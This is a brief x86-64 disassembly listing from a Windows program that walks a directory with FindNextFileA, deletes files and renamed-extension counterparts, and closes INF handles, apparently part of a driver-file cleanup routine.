mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [0x14003bf04]
mov edx, 0x104
lea rcx, [rsp + 0x3c0]
call fcn.1400023d0
lea rcx, [rsp + 0x3c0]
call fcn.1400022d0
lea rcx, [rsp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rsp + 0x3c0]
call qword [sym.imp.SHLWAPI.dll_PathRemoveExtensionA]
lea rdx, [0x14003bf0c]
lea rcx, [rsp + 0x3c0]
call qword [sym.imp.SHLWAPI.dll_PathAddExtensionA]
lea rcx, [rsp + 0x3c0]
call fcn.1400022d0
lea rcx, [rsp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.SETUPAPI.dll_SetupCloseInfFile]
lea rdx, [rsp + 0x280]
mov rcx, qword [rsp + 0x168]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
mov dword [rsp + 0x40], eax
jmp 0x140001bde
mov rcx, qword [rsp + 0x168]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov eax, 1
mov rcx, qword [rsp + 0x4d8]
xor rcx, rsp
call fcn.140023060
add rsp, 0x4e8
ret